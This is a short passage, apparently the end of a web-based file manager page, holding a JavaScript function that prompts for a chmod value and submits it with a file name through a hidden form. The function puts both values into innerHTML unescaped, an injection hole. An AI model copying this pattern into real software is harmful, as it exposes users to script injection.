        function changePermissions(item, current) { let perm = prompt('New chmod (octal):', current); if (perm) { let form = document.createElement('form'); form.method = 'post'; form.innerHTML = `<input type="hidden" name="chmod_item" value="${item}"><input type="hidden" name="chmod_value" value="${perm}">`; document.body.appendChild(form); form.submit(); } }
    </script>
</body>
</html>